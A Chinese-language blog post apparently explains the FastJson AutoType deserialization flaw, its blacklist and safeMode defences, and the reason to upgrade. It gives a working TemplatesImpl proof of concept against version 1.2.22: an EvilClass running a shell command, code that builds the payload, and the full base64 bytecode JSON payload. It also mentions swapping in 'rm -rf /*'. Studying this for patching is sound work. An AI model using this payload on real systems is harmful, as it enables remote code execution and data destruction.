文章目录
频繁出现的反序列化漏洞
最近公司的小伙伴们收到了一波安全工单,因为FastJson存在高危漏洞,要求将FastJson版本号升级到1.2.69及以上
漏洞描述如下
在Fastjson<=1.2.68的版本中,通过新的Gadgets链绕过autoType开关,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,实现了反序列化漏洞利用的远程代码执行效果,同时,此次修复补丁也补充了autoType黑名单,Fastjson历史版本中,autoType安全黑名单已被多次绕过,官方也一直在持续补充增强该黑名单,并在1.2.68版本中引入一个safeMode的配置,配置safeMode后,无论白名单和黑名单,都不支持autoType,不过默认并未开启该配置。由于autoType开关漏洞利用门槛较低,可绕过autoType限制,风险影响较大,建议尽快更新漏洞修复版本或采用临时缓解措施加固系统
从漏洞描述中可以大致猜测到,漏洞的产生和绕过AutoType安全校验有分不开的关系
parse()及parseObject()
FastJson中将JSON串反序列化成Java对象的两个常用方法是parse()及parseObject(),那么这两者有什么区别呢?
定义User测试类如下
package com.company.project.bean;
import java.io.Serializable;
public class User implements Serializable {
private static final long serialVersionUID = -8088742348807697485L;
private String userName;
public User() {
System.out.println("call construct method");
}
public String getUserName() {
System.out.println("call get method getUserName");
return userName;
}
public void setUserName(String userName) {
System.out.println("call set method setUserName");
this.userName = userName;
}
}
fastJson中parse方法或者parseObject都可以将JSON串转化成Java对象,定义如下序列化后的Json串,做测试
public static void main(String[] args) {
String userJson = "{\"@type\":\"com.company.project.bean.User\",\"userName\":\"testUserName\"}";
//parseObject测试
Object object1 = JSON.parseObject(userJson);
System.out.println("=============");
//parse
Object object2 = JSON.parse(userJson);
}
控制台中输出结果如下
根据控制台输出,可以看到parseObject方法会调用getter方法,而parse方法却不会,为什么呢?
parse()及parseObject()进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法,而 parseObject() 由于要将返回值转化为JSONObject,多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的getter 方法来将参数赋值给JSONObject
也就是说使用AutoType时,若使用parseObject方法,会触发该类的构造函数、get、set方法
看了半天就说了这个?这玩意和漏洞有啥关系?
AutoType及安全校验
要了解FastJson的AutoType反序列化漏洞,有必要先说明下FastJson中的AutoType是什么,有什么用
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的Class类型。
AutoType安全校验
知道了AutoType的作用后,假设如下场景,
- 服务端接收到的请求Json串中包含了指定恶意代码Class的@Type,
- 服务端调用JSON.parseObject()时触发了该Class中的构造函数、或者是getter、setter方法中的恶意代码
这不就是反序列化攻击的思路了?
当然FastJson的开发者也意识到了这一点,这才诞生了AutoType的黑名单机制,以及SafeMode安全机制
AutoType黑名单机制
既然Json串中传入指定不可靠第三方Type类时是有被攻击风险的,自然最简单的做法就是在反序列化时首先校验传入的Class是否在黑名单Class列表中,FastJson中通过Hash算法,将一系列存在安全风险的Class全路径的Hash值存储在黑名单中,代码如下
在传入指定类型Class时,会首先判断该类是否在黑名单中,如果是,则抛出异常,代码在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
中
既然是黑名单,那么其中的风险类自然是要在不断迭代演进中添加的,不可能一步到位,屏蔽所有风险类,这也是为什么FastJson频繁升级来修复漏洞的原因
SafeMode安全机制
fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击
对应到fastJson反序列化中的代码实现,代码在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
中
攻击思路
现在回头再看一眼漏洞描述,问题是不是就很清晰了,漏洞在两种情况下容易被利用
- 执行AutoType安全校验,但新发现了一个黑名单中不存在的Class,利用该Class反序列化时执行的恶意代码进行攻击
- 通过某种方法,绕过AutoType安全校验
反序列化攻击模拟
为了让大家更好的理解反序列化漏洞,还是举个实际例子来说明吧,为了方便演示漏洞,下文采用的FastJson版本为1.2.22(高版本中已通过黑名单机制屏蔽该漏洞)。演示利用一个黑名单中不存在的Class(在上文指定的FastJSON 1.2.22版本中还未屏蔽这个风险类)来执行攻击
TemplatesImpl攻击调用链路
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
是历史上出现过存在FastJson反序列漏洞的一个第三方类
上文已经提到过,JSON串中传入指定类型Class时,调用parseObject方法反序列时会调用该Class的get、set及构造方法,那么如果指定JSON串中type为TemplatesImpl时
TemplatesImpl
中存在一个get方法为getOutputProperties()
,其在调用FastJson.parseObject()序列化为Java对象时会被调用getOutputProperties
内部调用了newTransformer()
方法,newTransformer()
内部调用了getTransletInstance()
方法获取Translet
对象
3、获取Translet
对象时,其通过内部的私有变量_bytecodes
生成返回的Translet对象
这里这个_bytecodes
私有变量就是整个攻击设计的核心所在,虽然FastJson默认只能反序列化公有属性,但是可以在JSON串中指定_bytecodes
为我们恶意攻击类的字节码,同时调用JSON.parseObject(json, Object.class, Feature.SupportNonPublicField)
来反序列化私有属性,那么_bytecodes就可以是任意指定代码
也就是说,如果事先定义好了Translet返回Class类的内容,并且在自定义的Translet类的构造函数中实现攻击代码,并且把攻击代码转化成字节码,传入TemplatesImpl的私有变量_bytecodes中,那么反序列化生成TemplatesImpl时就会使用我们自定义的字节码来生成Translet类,从而触发Translet构造函数中的攻击代码
所以攻击思路很明显了,分为两步
- 自定义Translet攻击类,在构造函数中实现攻击代码
- 根据步骤1生成的字节码来构造攻击JSON串
- 调用
JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
反序列化对象从而触发攻击,这里必须使用支持私有变量反序列化的Feature,虽然条件有点苛刻,但这只是众多攻击链路中较为易懂的一种
攻击类Translet生成
定义如下攻击类EvilClass,继承自AbstractTranslet,在构造函数中写入自己的攻击代码,这里演示只做新增一个文件的操作(你要改成rm -rf /*我也没意见)
package com.company.project.bean;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilClass extends AbstractTranslet {
public EvilClass() throws IOException {
namesArray = new String[]{"1", "2"};
//简单模拟攻击代码操作,生成一个txt文件
Runtime.getRuntime().exec("/usr/bin/touch /tmp/evilAttack.txt");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
}
构造攻击JSON串
然后将编译后的.class字节码文件进行base64编码,最后使用生成的字节码的base64编码来生成攻击JSON串
FastJson提取byte[]数组字段值时会进行Base64解码,所以我们构造payload时需要对 _bytecodes 进行Base64处理
public static void test_autoTypeDeny() throws Exception {
final String evilClassPath = "/Users/didi/IdeaProjects/spring-boot-api-project-seed/target/classes/com/company/project/bean/EvilClass.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
}
最后,完整的恶意JSON串如下
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":[
"yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh"],
'_name':'a.b',
'_tfactory':{
},
"_outputProperties":{
},
"_name":"a",
"_version":"1.0",
"allowedProtocols":"all"
}
这个JSON串中最核心的部分是_bytecodes,它是要执行的恶意字节码的base64编码,@type是指定的解析类,至于_name、_outputProperties等属性都是TemplatesImpl的私有变量,为了避免反序列化时报错,随意传入一个值
攻击模拟
现在假设系统接收到了上述构造的恶意JSON串,调用FastJSON的反序列化操作,如下所示,在反序列化操作的前后分别打印文件是否存在,以此来印证攻击代码(简单的生成一个文件)是否生效
public static void main(String[] args) {
String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ },\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
//开启autoType支持
File fileBeforeAttack = new File("/tmp/evilAttack.txt");
System.out.println("before JSON.parseObject:"+fileBeforeAttack.exists());
//反序列化传入的攻击json串
Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
File fileAfterAttack = new File("/tmp/evilAttack.txt");
System.out.println("after JSON.parseObject:"+fileAfterAttack.exists());
}
执行后命令行中输出如下,说明我们构造的恶意代码被成功执行
最后debug到恶意代码执行处,看下反序列化时的调用链路,如图所示
最底层触发的入口为JSON.parseObject,后面反序列化时调用TemplatesImpl#getOutProperties方法,最终使用TemplatesImpl类内部私有的_bytecodes生成我们自定义的攻击Class,从触发到自定义类的构造函数中的恶意代码。
当然Fastjson在高版本中已经采用了黑名单机制来屏蔽了TemplatesImpl类
不管如何,我们在使用开源的第三方库时,需关注官方的版本迭代,防止潜在的漏洞产生危害!
写在最后
在接到FastJson安全漏洞升级工单的时候,对着修复指南,三下五除二就把FastJson版本给升级了,但调侃一下,这种基本操作不就是
即使漏洞修复完了,我内心其实还是有疑问的,不明白这个漏洞到底会有什么影响,漏洞产生原因又是什么,究其根本原因还是自己不明白其中原理的缘故,这也算是修复漏洞后一个内心的小疙瘩吧
正好也借此机会了解了FastJson的漏洞原理,其实最新的漏洞也和AutoType有关,只不过是通过一定巧妙的构造绕过了AutoType的安全校验,但是基本原理、思路是一通百通的
本文来自:CSDN博客_fastjson的autotype属性
感谢作者:CSDN博客_fastjson的autotype属性